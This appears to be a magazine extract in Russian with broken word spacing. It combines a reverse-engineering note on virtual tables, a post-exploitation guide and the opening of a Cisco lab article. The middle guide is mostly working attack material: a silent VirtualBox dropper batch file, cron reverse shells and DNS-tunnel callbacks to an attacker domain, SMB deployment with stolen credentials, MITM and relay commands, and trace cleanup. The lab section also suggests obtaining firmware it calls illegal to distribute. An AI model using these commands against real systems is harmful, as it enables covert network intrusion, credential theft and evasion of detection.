Расс  мот рим  след  ующий  прим  ер  —  кри вой  и  наиг ранный,  конеч но,  —  но,
что бы про демонст  ри ровать ситу ацию, где мас сив указ  ате лей жизн  енно необ‐ 
ходим,  пришл  ось  бы  написать  не  одну  сот ню  строк  кода  (лис тинг  прим  ера
VT):

#include <stdio.h>

void demo_1(void)
{

 printf("Demo 1\n");
}

void demo_2(void)
{

 printf("Demo 2\n");
}

void call_demo(void **x)
{

 ((void(*)(void)) x[0])();
 ((void(*)(void)) x[1])();
}

int main()
{

 static void* x[2] =
 {
   (void*)demo_1,
   (void*)demo_2
 };

 call_demo(&x[0]);
}

Выв  од прил  ожен  ия VT

А  теперь  посм  отрим,  смож  ем  ли  мы  отли чить  рукот ворную  табл  ицу  ука зате‐ 
лей от нас тоящей вирт  уальн  ой таб лицы:

main proc near
 sub     rsp, 28h
 call    cs:x
 call    cs:off_140003040
 xor     eax, eax
 add     rsp, 28h
 retn

main endp

Пер вое,  что  бро сает ся  в  гла за,  —  это  нетипич ный  для  вирт  уаль ной  функ  ции
вызов: call cs:x.  Как  мы  зна ем,  перед  вызовом  вир туаль ной  функ  ции  про‐ 
исхо дит  копиро вание  вирт  уальн  ой  таб лицы  клас са  ее  объе  кта,  затем  в  дело
вмеш  ива ется  указ  атель  this.  И  толь ко  пос ле  это го  вызывае  тся  вир туальн  ая
функ  ция  по  смещ  ению  от  начала  табл  ицы  вирт  уаль ных  функ  ций.  Здесь  же
вызов  про исхо дит  по  смещ  ению  в  сегм  енте  кода.  Вто рой  вызов:  call  cs:
off_140003040  —  анал  оги чен.  То  есть  этот  код  слиш ком  трив  иален,  тог да
как вызов вир туальн  ой функ  ции сопр  яжен с больш  ой избы точн  остью.

Пост  авив кур сор на стро ку call cs:x, нажм  ем Enter для переход  а в вир‐ 
туаль ную  таб лицу,  которая  в  дей стви тель нос ти  ей  не  явля ется  и  толь ко
на бегл  ый, нет рениро ван ный взгляд на нее похожа:

x               dq offset demo_1(void)
off_140003040   dq offset demo_2(void)

На самом же деле это мас сив ука зател  ей, и он лишь с пер вого впеч  ат ления
смах  ивае  т на вир туальн  ую таб лицу. В глаз  а сраз  у бро сает ся отсутст  вие име‐ 
ни клас са и клю чево го сло ва vftable.

Пер  ейд  ем в тело функ  ции demo_1:

void demo_1(void) proc near
 lea     rcx, _Format    ; "Demo 1\n"
 jmp     printf

void demo_1(void) endp

void demo_2(void) proc near
 lea     rcx, aDemo2     ; "Demo 2\n"
 jmp     printf

void demo_2(void) endp

Здесь  мы  видим  отсутс твие  модифи катор  а  дос тупа,  ключ  евог  о  сло ва  virtual
и имен  и клас са. Все это подт  верждае  т невир туаль ные кор ни функ  ции.

ВТОРОЙ ВАРИАНТ ИНИЦИАЛИЗАЦИИ МАССИВА
Мы можем иниц  иали зиро вать мас сив не при его объ явлен  ии, а по ходу прог‐ 
раммы. Это можн  о сдел  ать, заменив конст  рукц  ию

static void* x[2] =
{

 (void*)demo_1,
 (void*)demo_2
};

вот таким вариа  нтом:

static void* x[2];
x[0] = (void*)demo_1;
x[1] = (void*)demo_2;

В  этом  слу чае  ком пилятор  сген  ери рует  адек ватный  код,  но  смещ  ения  фун‐ 
кций  будут  заноситьс  я  в  регист  ры  пря мо  перед  вызовом  непос редс твен но
в функ  ции main.

main proc near
 sub     rsp, 28h
 lea     rax, demo_1(void)
 mov     cs:x, rax
 lea     rax, demo_2(void)
 mov     cs:qword_140003638, rax
 call    demo_1(void)
 call    cs:qword_140003638
 xor     eax, eax
 add     rsp, 28h
 retn

main endp

В  резуль тате  на  мес те  «вир туаль ной  таб лицы»  будет  сов сем  непохо жий
на нее код:

x               dq ?
qword_140003638 dq ?

К  тому  же  ини циализ  ация  при  объя  влен  ии  (как  в  пер вом  случ  ае)  помещае  т
уже готовые указ  ател  и в сег мент дан ных, и это сма хива ет на наст  оящую вир‐ 
туальн  ую табл  ицу (и эко номит так ты про цесс  ора).

Обоб щая выводы, пов торим основные призн  аки под делки еще раз:
• слиш ком  три виаль ный  код,  минимум  использ  уемых  регист  ров  и  никакой

избыт  очн  ости, обращ  ение к вир туаль ным табл  ицам прои  схо дит куда вити‐ 
ева тее;
• ука затель на вир туальн  ую функ  цию заносит ся в экземп  ляр объе  кта;
• от сутст  вуе  т  указ  атель  this,  всегд  а  под готавл  ива емый  перед  вызовом
вир туаль ной фун кции;
• вирт  уаль ные  фун кции  и  ста тичес кие  перемен ные  расп  олага ются  в  раз‐ 
личных  мес тах  сегм  ента  дан ных,  поэто му  сраз  у  мож но  отлич  ить  одни
от дру гих.

А  мож но  ли  так  орган  изо вать  вызов  фун кции  по  ссыл ке,  что бы  ком пиляция
прогр  аммы  давала  код,  иден тичный  вызову  вирт  уаль ной  функ  ции?  Как  ска‐ 
зать...  Теорет  ическ  и  да,  но  прак тическ  и  едва  ли  такое  удаст  ся  сдел  ать  (а  уж
непр  една меренн  о  —  тем  более).  Код  вызова  вир туальн  ых  функ  ций  в  связ  и
с больш  ой избыт  очн  остью очень спе цифи чен и лег ко раз личим на глаз. Нет‐ 
рудно  сымитир  овать  общую  техн  ику  работы  с  вир туаль ными  табл  ицами,
но без ассем блерн  ых встав  ок невозм  ожно вос прои  звести ее в точ ности.

ЗАКЛЮЧЕНИЕ
Во обще,  как  мы  видим,  работа  с  вирт  уальн  ыми  функ  ция  ми  сопр  яжена
с  огромной  избы точ ностью  и  «торм  озами»,  а  их  ана лиз  связ  ан  с  больш  ими
труд  озат ратами  —  при ходит ся  пост  оянн  о  держ  ать  в  голове  множ  ест  во  ука‐ 
зате лей  и  пом нить,  какой  из  них  на  что  ука зывае  т.  Но  как  бы  там  ни  было,
никаких  прин ципи альн  о  неразр  ешимых  прегр  ад  перед  иссле дова телем
не сто ит.

ВЗЛОМ

s0i37
Senior offensive security re‐

searcher in USSC.
OSCP|OSCE holder.

[email protected]

ПИНГВИН-СУПЕРШПИОН

ИСПОЛЬЗУЕМ ВИРТУАЛКУ С LINUX
ДЛЯ ПОСТЭКСПЛУАТАЦИИ WINDOWS

Ре ализ  овать  MITM‐ата ку  на  Windows  куда  слож нее,  чем
на  Linux,  потому  что  нет  норм  аль ной  возм  ожнос ти  пересы‐ 
лать транз  итные пакеты. Мы сдел  аем так, чтоб  ы шлю зом был
минимал  ист  ичный  Linux,  подн  ятый  как  вир туальн  ая  машина.
При этом сетевые интерфейс  ы будут объе  ди нены в мост, что
даст  возм  ожность  гост  евой  ОС  получить  полн  оцен ный  L2‐
дос туп  в  тот  же  сетевой  сег мент,  что  и  скомп  ром  етир  ован‐ 
ной Windows. А поможет нам в этом VirtualBox.

Предс  тавь,  что  тебе  уда лось  проб  ить  сетевой  периметр  и  получить  дост  уп
к  сер веру,  который  работае  т  на  Windows.  Но  что  даль ше?  Нуж но  дви гать ся
по инфраструкт  уре — от DMZ до конт  рол лера домена или до техн  ологич  ес кой
сети и управле ния турб  инами!

Или  что  мы  уже  давн  о  в  локальн  ой  сети,  но  зах ватить  конт  роль
над  каким‐либо  сер вером  не  получа ется  —  все  обновле ния  уста нов лены
и нет никаких зацепок, кром  е скомп  ро мети рованн  ых машин в ее VLAN.

И  в  том  и  в  дру гом  слу чае  ата кующий  —  это  интерфейс  пря мо  в  VLAN
скомп  ро метир  ованн  ой машины, да еще и на уров не L2. Тем самым мы прев‐ 
ратили бы подк  он трольн  ый нам хост с Windows в некий шлюз и изба вили бы
себя  от  необх  одимост  и  ста вить  спе циаль ное  ПО  для  скан  иро вания  сети
и разн  ого рода сетевых атак.

У  дост  упа  L2  есть  ряд  допол нитель ных  преи  му ществ.  Мы  можем  про‐ 
водить:
• MITM‐атак  и, эксп  лу ати руя слаб  ост  и про токо ла Ethernet (arpspoof);
• атак  и на NetBIOS (responder);
• атак  и на IPv6 (mitm6).

MITM‐ата ки — один из самых мощ ных при емов про тив локаль ных сетей, пос‐ 
тро енных по техн  ологии Ethernet. Этот тип атак открыв  ает широкие горизон ты
и поз воляе  т брать совс  ем непр  иступ ные с виду хост  ы, прос то просл  ушивая их
сетевой  траф  ик  на  предм  ет  наличия  в  нем  учет ных  данн  ых  либо  как‐то
модифиц  ируя его.

Так  уж  сло жилось,  что  больш  инст  во  хос тов  в  локаль ных  сетях  работаю  т
на Windows. И так уж слож  илось, что Windows, мягк  о говоря, не луч шая плат‐ 
форма для атак. Здесь нельз  я пол ноцен но реали зовать IP forwarding, поэтом  у
атак  а  подоб ного  рода  гро зит  тем,  что  будет  парализ  ова на  работа  всег  о
сетево го сегм  ента.

Дру гие  спо собы  про верн  уть  тоже  непр  осто.  Напр  имер,  можн  о  было  бы
нас тро ить OpenVPN и сетевой мост, но наст  ройк  а мост  а из коман дной строк  и
в  Windows  реали зова на  пло хо,  и,  изме нив  наст  ройк  и,  ско рее  всег  о,  ты  без‐ 
воз врат но потеряе  шь дос туп.

РЕАЛИЗАЦИЯ
Ра зумее  тся,  для  пол ноценн  ой  пост  экс плуа  тац  ии  пот ребу ются  адми нис тра‐ 
тив ные пол номочия.

В  качест  ве  вир туаль ной  машины,  в  которой  мы  будем  запуск  ать  Linux
на  ском про метир  ован ном  хост  е,  я  предл  агаю  использ  овать  VirtualBox,  пос‐ 
кольк  у она:
• мо жет быть устан  овл  ена в тихом режиме;
• пост  авля ется с край не функ  цио  нальн  ым CLI‐инс трум  ент  ом VBoxManage;
• мо жет работать на стар  ом железе без аппар  ат ной вир туализ  ации;
• поз воля ет запус тить вирт  уаль ную машину в фоне.

На перв  ый взгляд такое решение может показать ся нем ного гром  озд  ким, но,
с дру гой сто роны, у него есть свои плю сы:
• та кой  под ход  никак  не  палит ся  антив  иру сом,  ведь  мы  исполь зуем  толь ко

легитим ное ПО;
• не  треб  ует ся  ничего  делать  через  граф  ическ  ий  интерфейс,  дос таточ но

psexec, webshell или netcat;
• буд  ет работать на всех Windows от XP/2003 до 10/2019;
• мет  од дост  аточн  о чист в план  е сле дов — все дейс  твия прои  сход  ят в фай‐ 

ловой сис теме вирт  уальн  ой машины.

Главн  ым же минусом будет необх  одимость копиро вать окол  о 500 Мбайт фай‐ 
лов. Но зачас тую это не осо бен но больш  ая пробл  ема.

Но  сраз  у  дол жен  тебя  пре дупр  едить,  что  есть  случ  ай,  когд  а  эта  тех ника
не  сра ботае  т.  Если  скомп  ро мети рован ная  сис тема  —  это  уже  вир туаль ная
машина, то впол не может быть, что в ее наст  рой ках отклю чен нераз борчи вый
режим  для  сетевой  кар ты.  Это  может  при вест  и  к  тому,  что  сетевые  пакеты
не будут заходить в нашу вир туаль ную машину.

ДЕЛАЕМ ГОСТЕВУЮ СИСТЕМУ
В качест  ве гост  евой ОС есть смысл расс  мат ривать два вари анта:
• Kali Linux с пол ноцен ным набором хакер ског  о соф та;
• ми нимал  ист  ичный  дист  риб  утив  с  OpenVPN,  который  будет  играть  роль

шлю за.

С пер вым вари антом все прост  о — ска чал и запуст  ил. В Kali поч ти наверн  яка
будет весь необ ходимый арсе нал.

Но мы вмест  о того, что бы закидыв  ать в эту вирт  уал ку весь любимый софт,
соберем свою с чис того лист  а и прев ратим в шлюз, который пре дост  авит нам
комф  ор тный L2‐дост  уп к ата кован ному хос ту из любой точк  и мира.

Так мы сэконо мим 1–2 Гбайт мест  а, так как весь ][‐софт будет запус кать ся
с машины ата кующег  о, да и анти вирус в таком случ  ае ничего не уви дит.

Что бы  сдел  ать  дист  ри бутив  минимал  ист  ичным,  пот ребуе  тся  соз дать  его,
что  называ ется,  from  scratch.  Наибол  ее  перенос  имым  вариа  нтом  будет  32‐
бит ная сис тема.

Созд  аем образ, который впосл  едст  вии будем наполн  ять:

truncate ‐s 1G linux.img 

Мы  указ  али  разм  ер  обра за  с  запасом  в  1  Гбайт,  в  дальн  ейшем  фор мат  VDI
сожм  ет пуст  оты.

Соз даем раз метку диск  а — один логическ  ий раз дел:

 
$ fdisk linux.img 
  Command (m for help):n 
  Command (m for help):p 
  Partition number (1‐4, default 1):  
  First sector (2048‐2097151, default 2048): 
  Last sector, +/‐sectors or +/‐size{K,M,G,T,P} (2048‐2097151, default 
2097151): 
  Command (m for help):w 
  Command (m for help):q
 

Созд  аем фай ловую сис тему и монт  иру ем готовый разд  ел:

sudo losetup ‐o $[2048*512] /dev/loop0 linux.img 
sudo mkfs.ext4 /dev/loop0 
sudo mount /dev/loop0 /mnt/ 

Ска чивае  м минималь ный набор user‐space:

sudo debootstrap ‐‐arch=i386 ‐‐variant=minbase stable /mnt/ 
http://http.us.debian.org/debian 

Теп  ерь остал  ось собр  ать ядро:

cd /usr/src/linux‐5.5.1/ 

Соз даем дефол тную кон фигурац  ию ядра:

make ARCH=i386 defconfig 

Так же нам пот ребуе  тся нес коль ко допол нитель ных модулей:

make ARCH=i386 menuconfig 

• Спер ва  самое  главн  ое  —  подд  ерж  ка  сетево го  мост  а  (bridge):  Networking
support → Networking options → 802.1d Ethernet Bridging.

• Подд  ерж  ка вирт  уальн  ых интерфейс  ов (tun) тоже пот ребуе  тся: Device Driv‐
ers  →  Network  device  support  →  Network  core  driver  support  →  Universal
TUN/TAP device driver support.

• По мимо OpenVPN, тун нель можн  о пост  рои  ть и через GRE (опци ональ но):
Networking  support  →  Networking  options  →  TCP/IP  networking  →  The  IPv6
protocol → IPv6: GRE tunnel.

• Для пост  ро ения PPP‐тунн  елей в одну коман ду (тоже опци ональн  о): Device
Drivers → Network device support → PPP (point‐to‐point protocol) support.

Со бирае  м ядро:

make ARCH=i386 prepare 
make ARCH=i386 scripts 
make ARCH=i386 bzImage 

Со бирае  м модули:

make ARCH=i386 modules 

Посл  е того как все соб ралось, копиру ем ядро и модули:

make INSTALL_PATH=/mnt/boot install
make INSTALL_MOD_PATH=/mnt/ modules_install 

Ос тался RAM‐диск. Его, если хост‐сист  ема 64‐бит ная, лучш  е собр  ать на 32‐
бит ной сис теме. Тольк  о что скач  ан ное через debootstrap окруж  ение идеа  льн  о
под ходит для это го:

chroot /mnt/ 
mkinitramfs ‐k ‐o /boot/initrd.img‐5.5.0 5.5.0 
apt remove initramfs‐tools‐core && apt autoremove 
exit

И посл  еднее — загр  узчик ОС.

grub‐install ‐‐target=i386‐pc ‐‐boot‐directory=/mnt/boot/ linux.img 
‐‐modules='part_msdos'

Про пишем опции для заг рузки:

mnt/boot/grub/grub.cfg

set timeout=5
menuentry "Debian Linux" { 

 linux /boot/vmlinuz‐5.5.0 root=/dev/sda1 rw
 initrd /boot/initrd.img‐5.5.0


Го тово. Мы получил  и пол ностью работос пособ ную ОС. Теперь нуж но слегк  а
наст  ро ить ее. Сно ва заходим в файл  овую сис тему:

chroot /mnt/ 

Сперв  а нас тро им SSH, без это го никуда:

apt install openssh‐server 
update‐rc.d ssh enable 2 3 4 5 

Не забывае  м ука зать пароль для root:

passwd root 

Теп  ерь  очер  едь  сер вера  OpenVPN,  через  который  и  предп  олагае  тся  орга‐ 
низо вывать себе дос туп:

apt install openvpn 

Опус тим этап генера ции серт  ифика тов и клю чей для OpenVPN. Итог  овый кон‐ 
фиг для серв  ерной сто роны дол жен выг лядеть так:

local 10.10.10.10
port 1194
proto tcp
dev tap

user nobody
group nogroup

<ca> 
... 
</ca> 

<cert> 
... 
</cert> 

<key> 
... 
</key> 

<dh> 
... 
</dh> 

cipher AES‐128‐CBC
comp‐lzo

server‐bridge 10.10.10.10 255.255.255.0 10.10.10.40 10.10.10.50
script‐security 2
up /etc/openvpn/up.sh
down /etc/openvpn/down.sh

persist‐key
persist‐tun

Здесь up.sh и down.sh — это скрип ты, которые дол жны добав лять интерфейс
VPN в сетевой мост.

/etc/openvpn/up.sh

#!/bin/sh
/usr/sbin/brctl addif br0 "$1"
/usr/sbin/ifconfig "$1" up 

/etc/openvpn/down.sh

#!/bin/sh
/usr/sbin/brctl delif br0 "$1"
/usr/sbin/ifconfig "$1" down 

До пол нитель но я для себя добавил клие  нт OpenVPN для подк  лю чения к VDS,
который подн  имет ся сраз  у посл  е запус ка вир туалк  и и поз волит под ключ  ать ся
откуд  а угодн  о.

Так же  на  слу чай,  если  вирт  уал ка  подн  имае  тся  в  филь тру емом  сетевом
сег менте, я пред  ус мотрел обратный шелл. Проп  исыв  аем в cron:

* * * * * /bin/nc ‐e /bin/bash attacker.my_zone.tk 8888 

А  на  слу чай,  если  нет  интерне та,  но  есть  эксфиль тра ция  DNS  (что  бывае  т
очень част  о), про писы ваем в cron еще такую стро ку:

* * * * * /bin/ping ‐c 1 dnsshell.my_zone.tk 1> /dev/null 2> 
/dev/null && /usr/local/bin/dnscat dnscat.my_zone.tk 

И  в  том  и  в  дру гом  слу чае,  кон тро лируя  свою  зону  DNS  через  attacker.my_‐
zone.tk и dnscat.my_zone.tk, можн  о управлять поведен  ием реверс‐шел лов.

Те перь оста лось очис тить базу dpkg, так мы освоб  одим 50 Мбайт мес та:

apt clean 

И отмонтир  уем готовую ФС:

umount /mnt 
losetup ‐d /dev/loop0 

Пос ледний  штрих  —  созд  ание  образ  а  для  VirtualBox.  Пред варитель но  скон‐ 
верти руем его в форм  ат VDI:

qemu‐img convert ‐O vdi linux.img linux.vdi 

Все  готово.  Теперь  импорти руем  диск  в  VirtualBox,  указ  ывае  м  количес тво
про цес соров и опе ративк  и (все по минимум  у) и на выходе получа ем готовый
файл linux.ova, который можн  о будет импорти ровать на любом хос те без лиш‐ 
них вопр  осов.

В ито ге весь образ занял у меня 341 Мбайт.

ТИХАЯ УСТАНОВКА И ЗАПУСК VIRTUALBOX
Скач  ива ем  дист  риб  утив  VirtualBox.  Я  взял  верс  ию  5.2.6‐120293,  она  дол жна
работать в любой Windows с XP по 10.

Что бы  устан  овить  ее  в  тихом  режиме,  пот ребу ется  дос тать  уста новоч ные
пакеты .msi:

virtualbox‐5.2.6‐120293‐Win.exe ‐extract

В  пап ке  %USER%\appdata\local\temp\virtualbox\  будут  лежать  все  необ‐ 
ходимые для уста нов ки фай лы:
• VirtualBox‐5.2.6‐MultiArch_amd64.msi
• VirtualBox‐5.2.6‐r120293‐MultiArch_x86.msi
• common.cab

Такж  е пот ребу ется дос тать серт  ификат из любого драй вера VirtualBox, что бы
перед уста новк  ой добавить его в trusted и обой ти тем самым окно с уве дом‐ 
лени ем о левом драйв  ере.

Для  удобс тва  вот  бат ник,  который  деп лоит  все,  что  нуж но,  в  скры том
режиме:

pushd %~dp0
certutil ‐addstore TrustedPublisher cert.cer 
dir "\prog*86)" > nul 2> nul && (

 msiexec /i VirtualBox‐5.2.6‐r120293‐MultiArch_amd64.msi /quiet /
log vbox_install.log ALLUSERS=2 ADDLOCAL=VBoxApplication,
VBoxNetworkFlt VBOX_INSTALLDESKTOPSHORTCUT=0 
VBOX_INSTALLQUICKLAUNCHSHORTCUT=0 VBOX_REGISTERFILEEXTENSIONS=0 
VBOX_START=0 INSTALLDIR=c:\post\ 
) || (

 msiexec /i VirtualBox‐5.2.6‐r120293‐MultiArch_x86.msi /quiet /log 
vbox_install.log ALLUSERS=2 ADDLOCAL=VBoxApplication,VBoxNetworkFlt 
VBOX_INSTALLDESKTOPSHORTCUT=0 VBOX_INSTALLQUICKLAUNCHSHORTCUT=0 
VBOX_REGISTERFILEEXTENSIONS=0 VBOX_START=0 INSTALLDIR=c:\post\ 
)
ping ‐n 300 127.0.0.1 >nul
c:\post\vboxmanage import linux.ova ‐‐options keepallmacs

c:\post\vboxmanage list bridgedifs|findstr /R "^Name:" > out.txt 
setlocal enabledelayedexpansion
set /a c=1
for /f "tokens=2*" %%i in ('type out.txt') do (

 echo c:\post\vboxmanage modifyvm linux32 ‐‐nic!c! bridged ‐
‐bridgeadapter!c! "%%i %%j" >> out.bat 

 echo c:\post\vboxmanage modifyvm linux32 ‐‐nicpromisc!c! allow‐all 
>> out.bat 

 set /a c=c+1
)
chcp 1251
call out.bat 
chcp 866
c:\post\vboxmanage modifyvm linux32 ‐‐pae on
c:\post\vboxmanage startvm linux32 ‐‐type headless

Аргументы в пользу Linux

Возм  ожно,  про лис тав  все  наст  рой ки,  ты  уже  готов  пожалов  ать ся  на  то,  что
все  это  слиш ком  слож но.  Но  на  самом  деле  ничего  слож ного  здесь  нет.
Наобо рот  —  слож но  работать,  исполь зуя  хакерс  кий  софт  для  Windows,
который:
• в  полови не  случ  аев  не  заведет ся  или  заведет ся,  но  не  будет  нор мальн  о

работать;
• такж  е  в  половин  е  слу чаев  захочет  показать  граф  ичес кую  обол  очк  у,  а  это

зачаст  ую рос кошь;
• пот ребуе  т как‐то обхо дить антив  ирус ное ПО;
• пот ребу ет  ста вить  интер прет  атор  ы  типа  Python  и  кучу  разн  ых  зависим  ос‐ 

тей, что без дост  упа к интерне ту ста нет допол нительн  ой проб лемой;
• иногд  а может пот ребовать даже перезагр  узку (в Windows част  ое явлен  ие);
• ни как  не  срав нится  по  функ  цио  нальн  ос ти  и  гибк  ости  с  ана логич ной  эко‐ 

сис темой в Linux.

ДЕПЛОЙ НА УДАЛЕННОМ ХОСТЕ
Посл  едний  этап,  который  мы  рас смот рим,  —  это  запуск  нашей  вирт  уаль ной
машины на зах ваченн  ой машине с Windows.

Для начала копиру ем все и запус каем:

cd /usr/share/windows‐binaries/vbox/ 
smbclient ‐U user%pass //owned_host ‐c "mkdir post; cd post; put 
cert.cer; put common.cab; put install.bat; put linux.ova; put 
VirtualBox‐5.2.6‐r120293‐MultiArch_amd64.msi; put VirtualBox‐5.2.
6‐r120293‐MultiArch_x86.msi"
psexec.py user:pass@owned_host "start c:\post\install.bat"

Ждем  пять  минут,  и  если  все  пошл  о  хорошо,  то  в  треб  уемом  сетевом  сег‐ 
менте появит ся новый хост с откры тым 22‐м порт  ом, куда мы смо жем зайт  и:

ssh root@vbox_vm 

Даль ше помещае  м нужн  ый сетевой интерфейс в мост:

brctl addbr br0; brctl addif br0 enp0s3; ifconfig enp0s3 0 promisc; 
ifconfig br0 10.10.10.10/24; route add ‐net default gw 10.10.10.1 

Важн  о все сдел  ать одной коман дой, что бы не потерять связь.
Скор ректи руем  выдан ный  вир туал ке  IP‐адрес  в  /etc/openvpn/server.

conf, посл  е чего запуск  аем его:

openvpn ‐‐config server.conf 

Дал  ее уже на сво ей основной сист  еме (с Linux, конеч но же) дела ем

openvpn ‐‐config client.conf 

И  получа ем  интерфейс  tap0,  словн  о  мы  подк  лю чены  патч‐кор дом  в  VLAN
скомп  ро мети рованн  ой сис темы. Здесь уже можем твор  ить все, что захотим:

ettercap ‐i tap0 ‐Tq ‐o ‐M arp:remote /gateway// /dc// 
responder ‐I tap0 ‐r ‐d ‐w ‐F
netcreds ‐i tap0 
iptables ‐t nat ‐A PREROUTING ‐i tap0 ‐p tcp ‐‐dport 445 ‐j REDIRECT 
‐‐to‐ports 445 
smbrelayx.py ‐h target ‐e shell.exe 
iptables ‐t nat ‐A PREROUTING ‐i tap0 ‐p tcp ‐‐dport 80 ‐j REDIRECT 
‐‐to‐ports 10000 
mitmf ‐i tap0 ‐‐smbauth

И мно гое, мно гое дру гое.
В  ито ге  бла года ря  магии  вирт  уали зации  и  сетевых  тунн  елей  мы  откры ли

порт  ал  в  сетевой  сегм  ент  скомп  ром  ети рованн  ой  сист  емы  и  тем  самым
выжали макс  имум польз  ы во вре мя пос тэкс плуа  та ции. Теперь мощь всех инс‐ 
тру мент  ов, реализ  ованн  ых глав ным образ  ом в Linux, обруш  ит неп риступ ность
прак тическ  и любой, даже пол ностью про пат ченной и защищен ной на перв  ый
взгляд сист  емы.

УХОДИМ КРАСИВО
Когд  а  прид  ет  вре мя  заметать  сле ды,  вык лючае  м  и  удал  яем  вир туалк  у,  уда‐ 
ляем VirtualBox, уби раем сер тификат, удал  яем все фай лы:

vboxmanage controlvm linux32 poweroff 
vboxmanage unregistervm linux32 ‐‐delete
wmic product where name="Oracle VM VirtualBox 5.2.6" call uninstall 
/nointeractive 
certutil ‐delstore TrustedPublisher cert.cer 
rmdir /s /q c:\post 

Ни каких сле дов. Почт  и.

ПРИМЕР ИЗ ЖИЗНИ
Нап  осл  едок — прим  ер из практ  ики, благ  одар  я котором  у и родилась опи сан‐ 
ная идея.

Одн  ажды  на  реаль ном  внут реннем  пент  есте  мы  ока зались  в  шаге
от  получен  ия  дос тупа  к  управлен  ию  тур бинами  гид роэлект  рост  анции.  Вся
загв  озд  ка зак лючалась в том, что управля ющий ПК не сос тоял в домене (так
част  о быва ет с тех нологич  еск  ими комп  онен тами) и не содер жал никаких акту‐ 
альн  ых уязв  имос тей.

Единст  венн  ым шанс  ом была MITM‐ата ка или через ARP spoofing, или час‐ 
тичная  через  NetBios  spoofing.  Однак  о  во  всем  сетевом  сег менте  не  было
сер веров с Linux, приг  од ных для эксп  лу атац  ии MITM‐атак, а дост  уп был лишь
на  неск  оль ко  смежн  ых  рабочих  стан ций  с  Windows.  И  тогд  а  мы  про вер нули
опи сан ную выше про цеду ру (прав да, в качес тве гос тевой ОС запус тили Kali).

В резуль тате минут через пят надцать у нас была учет ка локальн  ого адми‐ 
нист  рат  ора и дос туп в техн  ологич  ес кую сеть.

ВЗЛОМ

ВИРТУАЛЬНЫЙ

ПОЛИГОН

ДЕЛАЕМ ЛАБОРАТОРИЮ
СЕТЕВОГО ХАКЕРА

Валерий Линьков
Дипломированный
специалист и инструктор Cis‐
co, основатель академии Cis‐
co, автор технических статей
нацбезопасности России,
сисадмин, ИБшник,

питонист, гик
valerylinkov.ru

Вряд  ли  кто‐то  в  здра вом  уме  стан  ет  отраб  атыв  ать  хакер‐ 
ские ата ки сраз  у в боевых усло виях. Для тре нировк  и и экспе‐ 
римен тов  хорошо  иметь  тест  овый  стенд.  Но  что,  если  речь
об атак  ах на сеть? Ее тоже можн  о сде лать вирт  уальн  ой, и в
этой  статье  я  покажу,  как  разв  ернуть  свою  лабора торию,
которая будет эмул  иров  ать работу с про дукт  ами Cisco.

Глав ное  усло вие,  которо го  я  ста ну  держ  атьс  я,  —  это  нулевые  зат раты.  Все
прогр  аммы  у  нас  будут  бесп  лат ными,  поэтом  у  понадо бит ся  тольк  о  компь‐ 
ютер  —  желатель но  с  восемью  или  более  гигабайт  ами  опе ративн  ой  памяти
и не самым стар  ым про цесс  ором, при год ным для вир туали зации (лучш  е все‐ 
го  Intel).  Ну  и  конеч но,  понадо бит ся  дост  уп  в  интернет  —  чем  быст  рее,  тем
луч ше.

В качес тве опер  аци онной сис темы я выбр  ал Windows 10 (x64).

СИМУЛЯТОР
Есл  и  эму лято ры  пол ностью  пов торяю  т  какое‐то  устройс  тво,  то  симуля тор
лишь  ими тируе  т  предп  олага емое  поведе ние.  Соот ветст  вен но,  симуля торы
пот ребляю  т мень ше ресурс  ов — напр  имер, пол ноцен но эму лиро вать работу
мар шрут  иза тора  третье  го  уровн  я  наш  ПК  не  смож  ет,  а  вот  симулир  овать
его — впол не.

В нашей лаборат  ории понадо бит ся тольк  о один симуля тор, который будет
изоб ражать сетевое обор  удов  ание Cisco. Прогр  амма называ ется Packet Trac‐
er.  Что бы  ее  получить,  нужн  о  записать ся  в  ака демию  Cisco.  Сде лаем  мы
это бес плат но.

Пе рейд  я по ссыл ке, жмем жел тую кноп ку «Зарегис трир  овать ся». Прох  оди
бес плат ную  регис трац  ию  и  логинь ся.  В  личн  ом  кабинет  е  находим  «Ресур сы
→ Загр  узить Packet Tracer».

Теп  ерь ты пол ноцен ный сту дент Cisco, воору женн  ый очень полез ным инс‐ 
трум  ент  ом.  В  Packet  Tracer  мож но  сде лать  сети  разн  ого  уровн  я  сложн  ости
от прост  ых до самых хит роумн  ых. В интернет  е куча лабора торн  ых работ по PT.
У  меня  на  стран  ице  Хаб ра  есть  три  крупн  ые  лабора тор ные  работы,  сто ит
начать изу чение с них. Скор  о будет попол нение.

GNS3
Пер вый  эмул  ятор,  который  нам  понадо бит ся,  —  GNS3.  Он  может  эму лиро‐ 
вать  раз ное  обо рудо вание,  не  тольк  о  Cisco.  Тут  мы  сталк  ивае  мся  с  неболь‐ 
шой пробл  емой. Дело в том, что в эму лятор нужн  о загр  ужать про шив ку эму‐ 
лируе  мо го  устройс  тва,  а  рас простран  ение  этих  про шивок  зап рещено
законом. Однак  о в раз ных стран  ах законы разн  ые, да и соб люда ют их не все,
чем мы и восп  ольз  уемс  я — исклю читель но с целью самоо  браз  ован  ия!

Нужн  ые  файл  ы  лежат,  нап ример,  на  CareerCert  или  CertSource,  но,  если
они зав тра уйдут на дно, ты без труд  а нагугл  ишь анал  оги.

Воз можно, ты спро сишь, зачем нужн  ы такие слож ности, если можн  о с тем
же  успех  ом  использ  овать  все  тот  же  Packet  Tracer.  Яркий  прим  ер  того,  что
не может PT, — подк  лю чить эму лиру емую сеть к интерне ту.

VirtualBox
В  работе  обя зательн  о  приг  одит ся  обыч ная  вир туалк  а  —  бесп  лат ный  Virtual‐
Box впол не подойд  ет.

INFO

Ес ли  вдруг  ты  не  включ  ил  в  BIOS  режим  вир‐ 
туализ  ации,  самое  вре мя  это  сдел  ать.  Перезаг‐ 
рузи ПК и зай ди в BIOS, там вкладк  а Advanced →
CPU Configuration → Secure Virtual Machine Mode
→ Enable. Далее жми F10.

UNetLab
Ког да‐то  раз работ чики  это го  сетевог  о  эму лято ра  называл  и  его  «револю‐ 
ционн  ым прыжк  ом», но потом отка зались от его раз работ ки, что бы скон цен‐ 
три ровать  силы  на  его  идей ном  насл  едник  е  —  EVE‐NG.  Файл  ы  с  сайт  а  они
тоже удал  или, но у меня сохр  анилась ко пия пос ледней верс  ии.

Что бы устан  овить UNetLab, ска чай его образ по ссыл ке и запус ти его в Vir‐
tualBox.  Затем  перей ди  на  вкладк  у  «Нас трой ки»  и  устан  ови  в  граф  е  «Сеть»
на  перв  ом  адапт  ере  режим  сетевог  о  мост  а  с  тем  сетевым  устройс  твом,
которым поль зуешь ся для выхода в интернет.

Наст  рой ка адапт  ера
